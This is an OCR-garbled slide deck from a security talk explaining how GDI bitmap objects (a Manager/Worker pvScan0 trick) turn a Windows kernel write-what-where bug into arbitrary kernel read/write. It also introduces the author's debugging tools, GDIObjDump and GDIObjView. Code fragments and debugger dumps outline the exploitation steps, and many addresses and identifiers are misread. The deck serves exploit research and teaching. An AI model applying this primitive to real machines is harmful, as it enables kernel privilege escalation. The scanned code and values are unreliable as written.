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Previous work

e Windows Kernel Exploitation : This Time Font hunt

you down in 4 bytes
KEEN TEAM

e | Got 99 Problem But a Kernel Pointer Ain’'t One

Alex lonescu

e FEasy local Windows Kernel exploitation
Cesar Cerrudo

e FEtc...
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Introduction:

While researching about a recently patched Windows font vulnerability | came

across a very elegant technique for turning the usual write-what-where bug into a
full read-write primitive.

| didn’t invent this, I’'m not sure who did, as far as | understand it, it could have
been used since 1999, but | thought it was insanely cool, and wanted to share it.

A cool trick for a vast amount of ring0 exploits from Windows 2000 to Windows 10.
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As per previous work, we know some sections of Win32k are mapped on user
space. One of those can be found at PEB.GdiSharedHandleTable.

ld: dt @$peb ntdll!_FPEB GdiSharedHandleTable

+0x0£f8 GdiSharedHandleTable : 0=x0000001e’1bLf80000 Woid
kd: db 0Ox0000001e"1bEfE00O0N

typedef struct |
> EVOID64 pHernelRAddress;
USHORT wProcessId;
TUSHORT wCount;
USHORT wUpper:
USHORT wIvpe: -

PV0ID64 plUserhddress;
} GDICELL&4;

f0 0d 00 40 01 £9 f£f f£f-00 00 00 OO0 04 01 |04 4D|
0o oo oo oo oo o0 oo oo
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@SECURITY

By knowing a GDI handle, we can know the offset of its entry in the table.

addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * aizeof (GDICELLG4)

Say we call CreateBitmap and it returns HBITMAP = OxOFO50566.

kd: db 0=x0000001="1bLfR0O000 + Ox18 = DEEE“”’//’//’
—_—

00 10 a2 40 01 f9 ff fE}fid 0b) 00 00 [05_Of] [05 40
oo oo oo oo oo oo oo oo

typedef atruct |
|FVOID64 pHernelhddress;|<®
USHORT wProcessId; -
USHORT wCount;

OXFFFFF90140821060

TUSHORT wUpper; @

USHORT WIyDE: g

PVOID64 pUserAddress;
} GDICELLG4;
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So, what’s at pKernelAddress?

e e kd> db 0xFFFFF90140a21000
¥ee 66 OC 05 Of 00 00 00 00-00 00 00 00 00 00 00 60
BASEOBJECT64 BaseObject: // 0x00 & 00 00 00 00 00 00 00 OOFTT

SURFOBJG64 SurfObj; 7/ 0xla
[---]
} SURFACE&4;

ULONGE64 dhsurf; [/ 0x00
UTLONGE4 haurf; // 0x08
UTLONGE4L dhpdew; // Oxl0
ULONGE4 hdew; // 0x18

SIZEL sizlBitmap; // 0x20
UTLONGE4 cjBita; [/ Ox28
ULONGEE pvBitar // 0x30
UTLONGE4 pvScan(; // 0x38

For 32bit BMF_TOPDOWN bitmaps all we care about is pvScanO0, a pointer to pixel data (start of 1st scanline),
and what user mode reachable GDI functions like GetBitmapBits and SetBitmapBits ultimately operate on.
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Although we cannot access BASEOBJECT or SURFOBJ members from user mode
code, nothing stops us from calculating their address.

pvScanO offset = pKernelAddress + 0x50
\/

kd: db 0=FFFFF20140=21000
66 05 05 Of 00 00 OO OO-00 OO o0 00 00 OO0 00 oo
oo oo 0o oo oo o0 oo oo

— | 60 12 a2 40 01 £9 ff ff

This is interesting, because controlling this single pointer can give us memcpy() of any
virtual address, and comes free with a very convenient way to invoke this functionality
from ring3...even at LOWINTEGRITY.
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How?
Let's say for example you have a ring0O write-what-where that can only
be triggered once, here's what you can do:

Create 2 bitmaps (Manager/Worker)

Use handles to lookup GDICELL, compute pvScanO address

Use vulnerability to write Worker’s pvScanO offset address as Manager's pvScanO value.

Use SetBitmapBits on Manager to select address.

Use GetBitmapBits/SetBitmapBits on Worker to read/write previously set address.



Abusing GDI for ring0 exploit primitives. @SEGHELH

How?
Let's say for example you have a ring0O write-what-where that can only
be triggered once, here's what you can do:

e Create 2 bitmaps (Manager/Worker)
hManager = CreateBitmap (...} 7
hWorker = CreateBitmap(...):

e Use handles to lookup GDICELL, compute pvScan0 address
ManagerCell = *((GDICELLG64 *) (PEB.GdiSharedHandleTable 4+ LOWORD (hManager) * 0x18)):
pManagerpvScanl = ManagerCell .pEernelfddress + 0x50;

e Use vulnerability to write Worker’s pvScanO offset address as Manager's pvScanO value.

[

e Use SetBitmapBits on Manager to select address.

SetBitmapBita (hManager, 3izeof (writebuf), swriteburf):;

e Use GetBitmapBits/SetBitmapBits on Worker to read/write previously set address.

SetBitmapBita (hWorker, len, writebuffer):
GetBitmapBits (hiWorker, len, readbuffer);
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.................

hManager = CreateBitmap(...}:

hManager = 0x93050769

/ IRgEReR S Seoave DL <o) - \

hWorker = 0x20050555
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Thinking Ahead,

hManager = 0x93050769

GDI_TABLE EHNTRY:

’_/H SURFOBJ&4 SurfObj: // Oxl# GDI_TABLE_EMTRY
[ pEernelnddress: FFFFFO0142348000 pKernelAddress: FEFFFOA142352008

wProcessId: @AAB8AbYC

wCount: @080

wllpper: 2385

wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
puScanf: FEFFFOO142348260
1Delta: 80860198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

hManager = CreateBitmap(...}:

hWorker = CreateBitmap(...):

BASEOBJECT64 BaseObject;

i

i

0xaa

hWorker = 0x20050555

BASEOBJECT:

wProcessId: B8888b%c
wCount: 6008
wUpper: 2885
wType: 4005 (GDIObjType SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

[hHmgr: 28058555 |
ulshareCount: Bdo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

SURFOBJ:

dhsurf:0000000000000008

hsurf :00000000208050555
dhpdev:0000000000000000
hdev:8000000000800008

sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA

puBits: FFFFFOB1423522680

puscan@: FFFFF90142352260

1Delta: 6088818c

illniq: 0A0B188a

iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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Thinking Ahead,

hManager = 0x93050769

GDI_TABLE EHNTRY:
|pHernelHddress: FEFFFoA142348000
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
puScanf: FEFFFOO142348260
1Delta: 80860198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

hManager = CreateBitmap(...}:
hWorker = CreateBitmep({...);

BASEOBJECT64 BaseObject; // 0x00
SURFOBJ&4 Surfobj; f/ 0xla

ULONG64 pvScanQ; /S 0x38

ffff90142348000 + 50 fffff90142352000 + 50

pvScanO offset

hWorker = 0x20050555

GDI_TABLE_EMTRY:

pEernelAddress: FEFFF981423520880
wProcessId: 88888b°%°c

wCount: @008

wlpper: 2885

uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
[hHmgr: 28058555 |
ulshareCount: Bdo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

SURFOB.J:
dhsurf:0000000000000008
hsurf :00000000208050555
dhpdev:0000000000000000
hdev:8000000000800008
sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA
puBits: FFFFFOB1423522680
puscan@: FFFFF90142352260
1Delta: 6088818c
illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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hManager = 0x93050769

GDI_TABLE EHNTRY:
|pHernelHddress: FEFFFoA142348000
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
puScanf: FEFFFOO142348260
1Delta: 80860198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

hManager = CreateBitmap(...}:
hWorker = CreateBitmep({...);

hWorker = 0x20050555

BASEOBJECT64 BaseObject; // 0x00
SURFOBJ&4 Surfobj; f/ 0xla

GDI_TABLE_EMTRY:

pEernelAddress: FEFFF981423520880
wProcessId: 88888b°%°c

wCount: @008

wlpper: 2885

uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

ULONG64 pvScanQ; /S 0x38

ffff90142348000 + 50 fffff90142352000 + 50

BASEOBJECT:
[hHmgr: 28058555 |
ulshareCount: Bdo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

pvScanO offset

PUT THIS

SURFOB.J:
dhsurf:0000000000000008
hsurf :00000000208050555
dhpdev:0000000000000000
hdev:8000000000800008
sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA
puBits: FFFFFOB1423522680
puscan@: FFFFF90142352260
1Delta: 6088818c
illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)

fffff90142352050

AT THIS
ADDRESS

ffff90142348050
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Thinking Ahead,

hManager = 0x93050769

GDI_TABLE_EHNTRY:
pEernelfAddress: FFFFFOO1423480080
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT =
hHmgr: 93858769
ulShareCount: 90000088
cExclusivelLock: 0088
BaseFlags: @808
Tid: 0000000000000000

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
pvscanB:| ffff90142352050
1Delta: BOBBO198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

hWorker = 0x20050555

fffff90142352050

GDI_TABLE_EMTRY:
pEernelAddress: FFFFF9814235208080
wProcessId: 88888b°%°c
wCount: @008
wlpper: 2885
uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
hHmgr : 280858555
ulShareCount: 09808800
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 9800AAAOAANBAAAA

SURFOB.J:
dhsurf:0000000000000008
hsurf :00000000208050555
dhpdev:0000000000000000
hdev:8000000000800008
sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA
puBits: FFFFFOB1423522680
puscan@: FFFFF90142352260
1Delta: 6088818c
illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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Thinking Ahead,

hManager = 0x93050769

GDI_TABLE_EHNTRY:
pEernelfAddress: FFFFFOO1423480080
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT =
hHmgr: 93858769
ulShareCount: 90000088
cExclusivelLock: 0088
BaseFlags: @808
Tid: 0000000000000000

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
pvscanB:| ffff90142352050
1Delta: BOBBO198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

hWorker = 0x20050555

SetBitmapBita (hManager, 3sizeof (writebuf), swriteburf):

GDI_TABLE_EMTRY:

pEernelAddress: FFFFF9814235208080
wProcessId: 88888b°%°c

wCount: @008

wlpper: 2885

uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

EOBJECT:

Hmgr : 28858555
1ShareCount: 09806800
®xclusivelock: 06888
BaseFlaqs: B8880

Tid: 9A0PAOBAAAAADOLA

itss, FFE
puscan ffffe0000c66a2c0

1Delta: 6088818c

illniq: 0A0B188a

iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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hWorker = 0x20050555

GetBitmapBits (hWorker, len, readbuffer); EDI TABLE ENTRY:

pEernelAddress: FFFFF9814235208080
wProcessId: B8888b%c

wCount: 6008

wUpper: 2885

wType: 4005 (GDIObjType SURF_TYPE)

03 00 B2 00 00 00 OO0 00-=8 a2 66 Oz 00 =0 ff ff pUseraddress: BAOAAOAAAAAARAAN
c8 a2 66 Oc 00 0 f£f ££-d8 a2 66 0Oc 00 =0 f£f ff
d8 a2 b6 0c 00 =0 ££ ££-00 20 12 00 00 OO0 00 OO0 B“ﬁﬁﬁgf“;:jmwﬁ
38 83 67 Oc 00 e0 ££f ££-78 d3 6e 04d 00 =0 ff ff ulShareCount: 80086088
gg gg cExclusivelock: 08088
BaseFlaqs: @880
oo oo Tid: AAPAAAAAAOAANAAA
ey SURFOB. :

dhsurf : 0000000000000000

hsurf : 900000802 005 8555

dhpdev: 8600800000008000

hdev: 6606000800000088

sizlBitmap: (X)00000063 (V)0008006Y
cjBits: 800POOOBENOBYabA

pvBits: fff
pestamde—|_ ffffe0000c66a2c0

1Delta: 6088818c

illniq: 0A0B188a

iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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Tools of the trade:

While researching about GDI structures | found | lacked an appropriate tool to make sense of it all, specially
when | needed to spray GDI objects all over the place.

| knew about gdikdx.dll, but that was last seen 10+ years ago. And nothing replacing it to my knowledge works
on x64. So | crafted something that turned out to be usable for me and might be usable for others.
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GDIObjDump: kd: Igdicbidunp
GDIObijDunp w1 .0 — pnx!l-CORE
. . T=zage:

Is a WinDbg/Kd extension to dump lgdichjdump —[uk] —[ab][filenane] —filter
information about the GDI handle table TR o ) Sl e o s e
and it's referenced kernel structures. —k — dumps WIN3ZK!gpentHngr

—a [filenams] - te=xt output

-b [filename] - binarv output

Filter: i{(match onlwv)
-h <hex: — specific handle
—p <hex: — specific pid
—t <hex: - specific type:

[00] ({(GDIObjType DEF _TYFE)
(GDI0ObiType DC_TYFE)
(GDI0b]Type RGH_TYPE)
(GDI0bjType SURF_TYFPE)
(GDIObiType CLIEHTOEJ TYFPE)
(GDI0ObiType PATH _TYPE)
(GDI0bjType FAL TYFE)
(GDI0b]Type ICHLCS TYPE)
(GDI0ObiType LFOHNT_TYPE)
(GDI0ObiType RFOHNT_TYFPE)
(GDI0b]Type ICHCEF_TYFPE)
(GDI0biType SPRITE_TYFE)
(EDIObiType ERUSH TYPE)
(GDI0ObiType UMPD TYPE)
(GDIObiType HLSURF_TYFE)
(GDI0b]Type HETA TYPE)
(GDI0ObiType DEVOBI_TYFE)

—— e — — — ———
HHHRRHRrOODOODOOD OO o oo
[ T e T O I w R RS e R Y S
N N T P
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G D I O iji ew: =4 L'JDIC.\ij'iew

GDI_TABLE_ENTRY:

icati i EEREERREERRNERREERR s oz
Is a stand along appllcatlgn that loads binary AR AR T ! . S G
dumps made with GDIObjDump and shows a HEEEE i WTope: 4B (EDIONType_ SURF_TYPE)

pUserfAddress: 0000B00060000000

graphical representation of the GDI table. BEAES
T ll. l l ..ll ll.ll i hHmgr: 748506bb

ll l . ulShareCount: 00ABABO0
cExclusivelock: 8888

. . lll l | | aseFlags:
It allows you to sort and filter the GDI entries Tia: oosaonoaseasans

SURFOBJ:

in a bunch of WEVAR and click individual cells dhsur f :0080000008000000

hsurf:00000000740586bb

9 o dhpdev :00008000000000000
to view the contents of their kernel structure.
sizlBitmap: (X)000688064 (Y)00000064
cjBits: 80AAAPAAABOAICAA
puBits: deaddeaddeaddead
pvScanB: cafecafecafecafe
1Delta: aBapeai9n
ilniq: PBAA1839
iBitmapFormat: 80668086 (BMF_32BPP)
iType: 0008 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWH)

Order
@ Ascending

@ Index
Handle

Address Descending

ANEEEN BN (CHEEEE B -
l . l I l lll l :. | [ ll :. Type GDI0bjType_SURF_TYPE
N H_§ NNNENENERNENNEEER pig  [128
IR 0 BREEN PR B W
l Handle
l l ll ael l L lllll Shou empty entries
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DEMO
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<

..................

QUESTIONS?




hinking Ahead,

THANK YOU




